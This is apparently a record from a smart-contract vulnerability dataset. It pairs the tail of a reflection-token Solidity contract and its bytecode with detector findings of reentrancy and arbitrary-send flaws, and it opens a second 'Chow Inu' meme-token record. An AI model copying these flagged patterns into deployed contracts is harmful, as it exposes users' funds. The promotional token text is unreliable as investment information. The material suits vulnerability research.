uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600b81526020017f4e6f6f646c657320496e75000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f4e6f6f646c6573496e7500000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550674563918244f400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b607842611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d5b6122b3a6f09b15524321759008022c0aeb855294d5a4f6890cd7446036c4e64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,291 |
0xfe561b1abe81bfb9f7823c85a179730d8046ea10
|
/**
👑 CHOW INU 👑
First there was Doge, then it was Shiba and up next is Chow. Community based token backed by memes, a renowned dev team and industry leading marketers. Hyper-deflationary with reflections that reward holders and the only dog with a blue tongue making it primed for the memes!
TG✉️: https://t.me/chowinu_eth
Website 🌎 www.chowinu.io
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
